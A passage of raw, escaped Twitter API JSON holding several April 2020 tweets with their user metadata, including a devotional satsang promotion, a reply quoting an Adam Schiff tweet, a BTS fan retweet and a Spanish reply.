00:30:03 +0000 2020\",\"id\":1254206069217337344,\"id_str\":\"1254206069217337344\",\"text\":\"#MustListan_Satsang \\n@SaintRampalJiM \\nMust watch sadna tv 7.30 to 8.30pmIST https:\\\/\\\/t.co\\\/p69xnX78bI\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"MustListan_Satsang\",\"indices\":[0,19]}],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"SaintRampalJiM\",\"name\":\"Saint Rampal Ji Maharaj\",\"id\":91851084,\"id_str\":\"91851084\",\"indices\":[21,36]}],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/p69xnX78bI\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/SaintRampalJiM\\\/status\\\/1254204588133019648\",\"display_url\":\"twitter.com\\\/SaintRampalJiM\\u2026\",\"indices\":[77,100]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1198984160951451648,\"id_str\":\"1198984160951451648\",\"name\":\"\\u2618\\ufe0fGitu sharma \\u2764\\u2618\\ufe0f\\ud83c\\uddee\\ud83c\\uddf3\\ud83d\\udcaf\",\"screen_name\":\"GituSharma16\",\"location\":\"Assam, India\",\"description\":\"\\ud83c\\uddee\\ud83c\\uddf3\\u092e\\u0928\\u0941\\u0937\\u094d\\u092f\\u0964 \\u091c\\u0928\\u094d\\u092e \\u0926\\u0941\\u0930\\u094d\\u0932\\u092d \\u0939\\u0948 \\u092e\\u093f\\u0932\\u0947 \\u0928\\u093e \\u092c\\u0930\\u093e\\u092e \\u092c\\u093e\\u0930\\ud83d\\ude4fonly sewa \\ud83d\\ude4f\\ud83d\\ude4f\",\"url\":\"https:\\\/\\\/t.co\\\/rwdohULLw5\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/rwdohULLw5\",\"expanded_url\":\"http:\\\/\\\/www.jagatgururampalji.org.com\",\"display_url\":\"jagatgururampalji.org.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2747,\"friends_count\":2306,\"listed_count\":0,\"created_at\":\"Mon Nov 25 15:18:49 +0000 2019\",\"favourites_count\":2463,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":3474,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253690240029638656\\\/3aVMFiPH_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253690240029638656\\\/3aVMFiPH_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1198984160951451648\\\/1587714561\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1254204588133019648,\"quoted_status_id_str\":\"1254204588133019648\",\"quoted_status\":{\"created_at\":\"Sun Apr 26 00:24:10 +0000 2020\",\"id\":1254204588133019648,\"id_str\":\"1254204588133019648\",\"text\":\"#MustListen_Satsang || Nepal 1 TV 26-04-2020 | Episode - 105 | Sant Rampal Ji Maharaj Satsang https:\\\/\\\/t.co\\\/xYaTSQ4vet\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"MustListen_Satsang\",\"indices\":[0,19]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/xYaTSQ4vet\",\"expanded_url\":\"https:\\\/\\\/www.pscp.tv\\\/w\\\/cXN6qjFwempNT1ZNcVpnUWR8MXZBeFJCcW1hZ0R4bD0OtZn8wclVZYmhDcmdSZkaTnB5cGWNjXxZ7o4ejlPd\",\"display_url\":\"pscp.tv\\\/w\\\/cXN6qjFwempN\\u2026\",\"indices\":[94,117]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/periscope.tv\\\" rel=\\\"nofollow\\\"\\u003ePeriscope\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":91851084,\"id_str\":\"91851084\",\"name\":\"Saint Rampal Ji Maharaj\",\"screen_name\":\"SaintRampalJiM\",\"location\":\"Barwala, Hisar, India\",\"description\":\"\\u0905\\u092e\\u0930 \\u0915\\u0930\\u0942\\u0902 \\u0938\\u0924\\u0932\\u094b\\u0915 \\u092a\\u0920\\u093e\\u0901\\u090a, \\u0924\\u093e\\u0924\\u0948\\u0902 \\u092c\\u0928\\u094d\\u0926\\u0940 \\u091b\\u094b\\u0921\\u093c \\u0915\\u0939\\u093e\\u090a\\u0901\",\"url\":\"http:\\\/\\\/t.co\\\/q48PTmNW9Y\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"http:\\\/\\\/t.co\\\/q48PTmNW9Y\",\"expanded_url\":\"http:\\\/\\\/www.jagatgururampalji.org\",\"display_url\":\"jagatgururampalji.org\",\"indices\":[0,22]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":50282,\"friends_count\":3,\"listed_count\":93,\"created_at\":\"Sun Nov 22 19:27:42 +0000 2009\",\"favourites_count\":634,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":2405,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFF04D\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme19\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme19\\\/bg.gif\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1191924069840502784\\\/aA1V1BV__normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1191924069840502784\\\/aA1V1BV__normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/91851084\\\/1539069376\",\"profile_link_color\":\"0099CC\",\"profile_sidebar_border_color\":\"FFF8AD\",\"profile_sidebar_fill_color\":\"F6FFD1\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":47,\"favorite_count\":87,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"hi\"},\"retweet_count\":1,\"favorite_count\":1,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":true,\"quoted_status_id\":1254204588133019648,\"quoted_status_id_str\":\"1254204588133019648\",\"retweet_count\":1,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206656809926656,\"id_str\":\"1254206656809926656\",\"text\":\"CC: @ABC @CBSNews @NBCNews @MSNBC @CNN https:\\\/\\\/t.co\\\/Y6BpPdxQpa\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"ABC\",\"name\":\"ABC News\",\"id\":28785486,\"id_str\":\"28785486\",\"indices\":[4,8]},{\"screen_name\":\"CBSNews\",\"name\":\"CBS News\",\"id\":15012486,\"id_str\":\"15012486\",\"indices\":[9,17]},{\"screen_name\":\"NBCNews\",\"name\":\"NBC News\",\"id\":14173315,\"id_str\":\"14173315\",\"indices\":[18,26]},{\"screen_name\":\"MSNBC\",\"name\":\"MSNBC\",\"id\":2836421,\"id_str\":\"2836421\",\"indices\":[27,33]},{\"screen_name\":\"CNN\",\"name\":\"CNN\",\"id\":759251,\"id_str\":\"759251\",\"indices\":[34,38]}],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/Y6BpPdxQpa\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/RepAdamSchiff\\\/status\\\/1253481322141679619\",\"display_url\":\"twitter.com\\\/RepAdamSchiff\\\/\\u2026\",\"indices\":[39,62]}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1181369330690342912,\"id_str\":\"1181369330690342912\",\"name\":\"Citizen, Interrupted (again)\",\"screen_name\":\"NYCwonk\",\"location\":\"Manhattan, NY\",\"description\":\"Don't blame me, I voted for the e-mail lady. \\nSame old me. New account. Who dis?\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":116,\"friends_count\":263,\"listed_count\":1,\"created_at\":\"Tue Oct 08 00:43:02 +0000 2019\",\"favourites_count\":1556,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":6591,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1229976132918939648\\\/KCJjWNUW_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1229976132918939648\\\/KCJjWNUW_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1181369330690342912\\\/1579923707\",\"profile_link_color\":\"1B95E0\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"000000\",\"profile_text_color\":\"000000\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1253481322141679619,\"quoted_status_id_str\":\"1253481322141679619\",\"quoted_status\":{\"created_at\":\"Fri Apr 24 00:30:10 +0000 2020\",\"id\":1253481322141679619,\"id_str\":\"1253481322141679619\",\"text\":\"A week ago I asked whether it was responsible to carry Trump\\u2019s nightly stream of consciousness on live TV.\\n\\nToday,\\u2026 https:\\\/\\\/t.co\\\/sXD3mko7y8\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/sXD3mko7y8\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1253481322141679619\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[116,139]}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":29501253,\"id_str\":\"29501253\",\"name\":\"Adam Schiff\",\"screen_name\":\"RepAdamSchiff\",\"location\":\"Burbank, CA\",\"description\":\"Representing California's 28th Congressional District. Chairman of the House Intelligence Committee (@HouseIntel).\",\"url\":\"https:\\\/\\\/t.co\\\/uxaSLX8uQ7\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/uxaSLX8uQ7\",\"expanded_url\":\"http:\\\/\\\/schiff.house.gov\\\/\",\"display_url\":\"schiff.house.gov\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2205582,\"friends_count\":776,\"listed_count\":9698,\"created_at\":\"Tue Apr 07 17:54:35 +0000 2009\",\"favourites_count\":153,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":5683,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"2578B8\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/816361054699667458\\\/0DVL6HrY_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/816361054699667458\\\/0DVL6HrY_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/29501253\\\/1547736718\",\"profile_link_color\":\"2578B8\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1253451487415619586,\"quoted_status_id_str\":\"1253451487415619586\",\"retweet_count\":28471,\"favorite_count\":92742,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206656759468032,\"id_str\":\"1254206656759468032\",\"text\":\"RT @bighitzip: taehyung - profile https:\\\/\\\/t.co\\\/s2sJ2XLhX3\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"bighitzip\",\"name\":\"ARMY.ZIP\",\"id\":1253937691898478596,\"id_str\":\"1253937691898478596\",\"indices\":[3,13]}],\"urls\":[],\"media\":[{\"id\":1253966623028854784,\"id_str\":\"1253966623028854784\",\"indices\":[34,57],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XUwAAoi52.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XUwAAoi52.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/s2sJ2XLhX3\",\"display_url\":\"pic.twitter.com\\\/s2sJ2XLhX3\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/bighitzip\\\/status\\\/1253966635460726789\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"medium\":{\"w\":800,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":1000,\"h\":1500,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":453,\"h\":680,\"resize\":\"fit\"}},\"source_status_id\":1253966635460726789,\"source_status_id_str\":\"1253966635460726789\",\"source_user_id\":1253937691898478596,\"source_user_id_str\":\"1253937691898478596\"}]},\"extended_entities\":{\"media\":[{\"id\":1253966623028854784,\"id_str\":\"1253966623028854784\",\"indices\":[34,57],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XUwAAoi52.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XUwAAoi52.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/s2sJ2XLhX3\",\"display_url\":\"pic.twitter.com\\\/s2sJ2XLhX3\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/bighitzip\\\/status\\\/1253966635460726789\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"medium\":{\"w\":800,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":1000,\"h\":1500,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":453,\"h\":680,\"resize\":\"fit\"}},\"source_status_id\":1253966635460726789,\"source_status_id_str\":\"1253966635460726789\",\"source_user_id\":1253937691898478596,\"source_user_id_str\":\"1253937691898478596\"},{\"id\":1253966623028899841,\"id_str\":\"1253966623028899841\",\"indices\":[34,57],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XVcAEufDY.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XVcAEufDY.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/s2sJ2XLhX3\",\"display_url\":\"pic.twitter.com\\\/s2sJ2XLhX3\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/bighitzip\\\/status\\\/1253966635460726789\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":799,\"h\":1200,\"resize\":\"fit\"},\"small\":{\"w\":453,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":1000,\"h\":1501,\"resize\":\"fit\"}},\"source_status_id\":1253966635460726789,\"source_status_id_str\":\"1253966635460726789\",\"source_user_id\":1253937691898478596,\"source_user_id_str\":\"1253937691898478596\"}]},\"metadata\":{\"iso_language_code\":\"tl\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1108896926,\"id_str\":\"1108896926\",\"name\":\"Mustiallati\",\"screen_name\":\"mustialati\",\"location\":\"Pekanbaru,indonesia\",\"description\":\"ig : mustialati\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":354,\"friends_count\":142,\"listed_count\":0,\"created_at\":\"Mon Jan 21 12:23:57 +0000 2013\",\"favourites_count\":1542,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":10558,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"A49AAB\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1251522363465728001\\\/lLcE3j-6_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1251522363465728001\\\/lLcE3j-6_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1108896926\\\/1529771720\",\"profile_link_color\":\"9944DD\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 08:38:38 +0000 2020\",\"id\":1253966635460726789,\"id_str\":\"1253966635460726789\",\"text\":\"taehyung - profile https:\\\/\\\/t.co\\\/s2sJ2XLhX3\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1253966623028854784,\"id_str\":\"1253966623028854784\",\"indices\":[19,42],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XUwAAoi52.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XUwAAoi52.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/s2sJ2XLhX3\",\"display_url\":\"pic.twitter.com\\\/s2sJ2XLhX3\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/bighitzip\\\/status\\\/1253966635460726789\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"medium\":{\"w\":800,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":1000,\"h\":1500,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":453,\"h\":680,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1253966623028854784,\"id_str\":\"1253966623028854784\",\"indices\":[19,42],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XUwAAoi52.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XUwAAoi52.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/s2sJ2XLhX3\",\"display_url\":\"pic.twitter.com\\\/s2sJ2XLhX3\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/bighitzip\\\/status\\\/1253966635460726789\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"medium\":{\"w\":800,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":1000,\"h\":1500,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":453,\"h\":680,\"resize\":\"fit\"}}},{\"id\":1253966623028899841,\"id_str\":\"1253966623028899841\",\"indices\":[19,42],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XVcAEufDY.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWb7__XVcAEufDY.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/s2sJ2XLhX3\",\"display_url\":\"pic.twitter.com\\\/s2sJ2XLhX3\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/bighitzip\\\/status\\\/1253966635460726789\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":799,\"h\":1200,\"resize\":\"fit\"},\"small\":{\"w\":453,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":1000,\"h\":1501,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"tl\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":1253966632663150592,\"in_reply_to_status_id_str\":\"1253966632663150592\",\"in_reply_to_user_id\":1253937691898478596,\"in_reply_to_user_id_str\":\"1253937691898478596\",\"in_reply_to_screen_name\":\"bighitzip\",\"user\":{\"id\":1253937691898478596,\"id_str\":\"1253937691898478596\",\"name\":\"ARMY.ZIP\",\"screen_name\":\"bighitzip\",\"location\":\"\",\"description\":\"https:\\\/\\\/t.co\\\/V6KgbWseoc\",\"url\":null,\"entities\":{\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/V6KgbWseoc\",\"expanded_url\":\"http:\\\/\\\/bts-armyzip.weverse.io\",\"display_url\":\"bts-armyzip.weverse.io\",\"indices\":[0,23]}]}},\"protected\":false,\"followers_count\":14175,\"friends_count\":0,\"listed_count\":83,\"created_at\":\"Sat Apr 25 06:43:44 +0000 2020\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":15,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253939404940423169\\\/1zJGW8Gm_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253939404940423169\\\/1zJGW8Gm_normal.jpg\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":2064,\"favorite_count\":7227,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"tl\"},\"is_quote_status\":false,\"retweet_count\":2064,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"tl\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206656755482628,\"id_str\":\"1254206656755482628\",\"text\":\"@bealadriel77 Voy, voy, es que se me peta Twitter con tanta petici\\u00f3n y respuesta, jaja. Ahora mismo te env\\u00edo MD \\ud83d\\ude0a\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"bealadriel77\",\"name\":\"Beatriz Jimenez Sanz\",\"id\":611069726,\"id_str\":\"611069726\",\"indices\":[0,13]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"es\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":1254205823057829890,\"in_reply_to_status_id_str\":\"1254205823057829890\",\"in_reply_to_user_id\":611069726,\"in_reply_to_user_id_str\":\"611069726\",\"in_reply_to_screen_name\":\"bealadriel77\",\"user\":{\"id\":95011355,\"id_str\":\"95011355\",\"name\":\"Ylenia\",\"screen_name\":\"Ylenia_07\",\"location\":\"\",\"description\":\"\\ud83d\\udeaf\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":557,\"friends_count\":297,\"listed_count\":16,\"created_at\":\"Sun Dec 06 14:51:57 +0000 2009\",\"favourites_count\":11709,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":92707,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"709397\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme9\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme9\\\/bg.gif\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1237899870779965440\\\/D8lv3mv8_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1237899870779965440\\\/D8lv3mv8_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/95011355\\\/1583450679\",\"profile_link_color\":\"8C8284\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"252429\",\"profile_text_color\":\"666666\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"es\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 